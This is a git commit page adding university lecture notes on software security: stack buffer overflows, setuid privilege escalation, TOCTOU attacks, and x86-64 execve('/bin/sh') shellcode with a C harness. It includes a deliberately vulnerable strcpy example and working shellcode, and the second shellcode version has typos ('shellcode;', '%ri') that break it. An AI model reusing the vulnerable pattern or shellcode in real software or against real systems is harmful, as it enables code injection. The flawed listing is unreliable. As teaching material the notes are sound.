lectures.alex.balgavy.eu

Lecture notes from university.
git clone git://git.alex.balgavy.eu/lectures.alex.balgavy.eu.git
Log | Files | Refs | Submodules

commit 46d313dcad52457c97c59758df4c5b508cbaf574
parent e7a225e906cc01d373eb844a7f54ddb903cbc681
Author: Alex Balgavy <alex@balgavy.eu>
Date:   Wed,  8 Sep 2021 13:41:13 +0200

Software security notes

Diffstat:
Acontent/softsec-notes/_index.md | 9+++++++++
Acontent/softsec-notes/buffer-overflow.md | 48++++++++++++++++++++++++++++++++++++++++++++++++
Acontent/softsec-notes/intro.md | 18++++++++++++++++++
Acontent/softsec-notes/local-privilege-escalation.md | 31+++++++++++++++++++++++++++++++
Acontent/softsec-notes/shellcode.md | 98+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Acontent/softsec-notes/simple-attacks.md | 21+++++++++++++++++++++
6 files changed, 225 insertions(+), 0 deletions(-)

diff --git a/content/softsec-notes/_index.md b/content/softsec-notes/_index.md @@ -0,0 +1,9 @@ ++++ +title = 'Software Security' ++++ +# Software Security +1. [Intro](intro) +2. [Buffer overflow](buffer-overflow) +3. [Local privilege escalation](local-privilege-escalation) +4. [Simple attacks](simple-attacks) +5. [Shellcode](shellcode) diff --git a/content/softsec-notes/buffer-overflow.md b/content/softsec-notes/buffer-overflow.md @@ -0,0 +1,48 @@ ++++ +title = 'Buffer Overflow' ++++ + +# Buffer overflow +A basic example of a buffer overflow: + +```c +#include <stdio.h> +#include <string.h> +void hello(char *name) { + char buf[16]; + strcpy(buf, name); + printf("hello %s\n", buf); +} +int main(int argc, char **argv) { + hello(argv[1]); + return 0; +} +``` + +`buf` is limited to 16, but `strcpy` does not include that limit. +So writing more characters (length > 15) will overwrite the lower parts of the stack -- frame pointer, return address. + +Three types of memory: +- stack: local (non-static) variables, grows downwards (i.e. push decrements stack pointer) +- heap: stores memory allocated by programmer via malloc, new, etc. +- global: stores global and static variables + +In the code example, `buf` lives on the stack. + +Stack frames: +- functions reserve part of stack for own use ("stack frame") +- contains: + - return address: where to continue after return + - frame pointer: where is caller's stack frame + - local variables + - other temp storage needed by compiler + +So via this buffer overflow, the attacker can inject and run code, or run code already in the program. + +Without optimisations, return address is always `%ebp+8`. +But we need to determine stack layout to see by how much we need to overflow buffer. + +E.g.: +- target (return address): `%rbp+8` +- overflowable buffer: `%rbp-16` +- how many bytes before hitting the target: `(%rbp+8)-(%rbp-16) = 8 - -16 = 24` diff --git a/content/softsec-notes/intro.md b/content/softsec-notes/intro.md @@ -0,0 +1,18 @@ ++++ +title = 'Intro' ++++ +# Intro +- _error_: made by human +- _bug/vulnerability_: consequence of error +- when the bug is triggered/exploited, generates security _failure_ + +security is intersection of: +- availability: can be ensure that services can stay available and not be take down by attackers +- confidentiality: can we keep info secret +- integrity: can we keep data from being modified by attackers + +Some applications work but have vulnerabilities: +- insecure configs +- systems have a conflicting security policy +- side channels -- e.g. indirect observation of data +- hardware vulnerabilities diff --git a/content/softsec-notes/local-privilege-escalation.md b/content/softsec-notes/local-privilege-escalation.md @@ -0,0 +1,31 @@ ++++ +title = 'Local privilege escalation' ++++ +# Local privilege escalation +UNIX permissions: +- read (or list files in directory) +- write (or create/delete files in directory) +- execute (or access files in directory) + +Files are owned by user and group. + +Three sets of permission bits for user, group, and others. + +Processes: +- OS creates process for a running program +- state includes user on whose behalf it runs +- process can access files based on user +- user/group determined by: first shell for user who logged in, then inherited from parent processes + +Impersonation: +- when user has legitimate need to access a secured file +- setuid/setgid bits: program runs on behalf of file owner +- a setuid process has multiple UIDs and GIDs: + - effective (EUID): for privilege checks, modified by setuid + - real (RUID): actual user, not modified by setuid + - saved (SUID): lets process return to old uid +- UID manipulation in C: + - `setuid(uid)`: sets RUID, EUID, and SUID to `uid` + - `seteuid(id)`: sets EUID to `uid` + - `setresuid(ruid, euid, suid)`: sets all three + - any target UID is allowed only if EUID is 0 diff --git a/content/softsec-notes/shellcode.md b/content/softsec-notes/shellcode.md @@ -0,0 +1,98 @@ ++++ +title = 'Shellcode' ++++ +# Shellcode +Attacker's goal: +- we found a vulnerability allowing overwriting return address +- where do we point the return address? + - we can only execute code in same process + - so code that is already in program + - or code that we inject + +Injecting code: +- x86 CPUs do not distinguish code and data +- if memory permissions allow, we can read/write code as data & execute data as program code +- how to inject? + - as parameter + - as environment variable + - provide as input +- injected code must + - work regardless of where it's stored in memory + - not depend on any external code/libraries (we don't know their location) + - not contain NULL bytes (would terminate if stored as a string) + - do something that gives attacker control of the system, e.g start a shell + +System calls: +- user code can't start program, kernel does that +- tell kernel to do this using a system call +- need `execve`, such as: `char argv[] = { "/bin/sh", NULL }; execve("/bin/sh", argv, NULL)` +- so shellcode requirements: + - string "/bin/sh" in memory + - array in memory, containing pointer to "/bin/sh" and NULL pointer + - pointer to the string in `%rdi` (`progname`) + - pointer to the array in `%rsi` (`argv`) + - NULL pointer in `%rdx` (`envp`) + - system call number 0x3b in `%rax` (`execve`) + +Shellcode version 1: + +```asm +.data +.globl shellcode +shellcode: ; PROBLEMS: + leaq string_addr(%rip), %rdi ; offset 0x22 -> 0x00000022. has null bytes + movb $0, 0x07(%rdi) ; explicit NULL + movq %rdi, 0x08(%rdi) + movq $0, 0x10(%rdi) ; explicit NULL + leaq 0x08(%rdi), %rsi + movq $0, %rdx + movl $0x3b, %eax ; long 0x3b -> 0x0000003b. has null bytes. + syscall +string_addr: + .ascii "/bin/shNAAAAAAAABBBBBBBB" + .byte 0 +``` + +Shellcode v2: + +```asm +.data +.globl shellcode +shellcode; + jmp over_string +string_addr: + .ascii "/bin/shNAAAAAAAABBBBBBBB" +over_string: + leaq string_addr(%rip), %rdi ; offset is negative, so no nulls (0xffffffe1) + xorl %eax, %eax ; zero %rax to avoid explicit 0 + movb %al, 0x07(%rdi) + movq %rdi, 0x08(%rdi) + movq %rax, 0x10(%rdi) ; use %rax, avoiding explicit 0 + leaq 0x08(%rdi), %ri + movq %rax, %rdx ; use %rax, avoiding explicit 0 + movb $0x3b, %al ; byte reg, upper bytes all zero + syscall + .byte 0 +``` + +Run with: + +```c +#include <stdio.h> +int main(int argc, char **argv) { + extern char shellcode; + void (*f)(void) = (void (*)(void)) &shellcode; + f(); + fprintf(stderr, "this shouldn't print"); + return -1; +} +``` + +Compile and run: + +```sh +cc -o shellcode-test shellcode-test.c shellcode.s +./shellcode-test +``` + + diff --git a/content/softsec-notes/simple-attacks.md b/content/softsec-notes/simple-attacks.md @@ -0,0 +1,21 @@ ++++ +title = 'Simple attacks' ++++ +# Simple attacks +Program behavior depends on: +- code being run +- data being processed +- environment in which it runs + - e.g. setting `$PATH`, `$HOME` + +find a target: +- privileged code we can manipulate +- vulnerabilities: + - deployment: privilege level, file access + - implementation: input handling, error handling, assumptions on order of execution + +File system attacks, e.g. symbolic links which aren't checked, or which can change between calls (time-of-check to time-of-use attack -- that's why `access()` is insecure) +- better to open file, then check using file handle +- or drop privilege whenever possible + +Principle of least privilege: every program and privileged user of system should operate using the least amount of privilege necessary to complete the job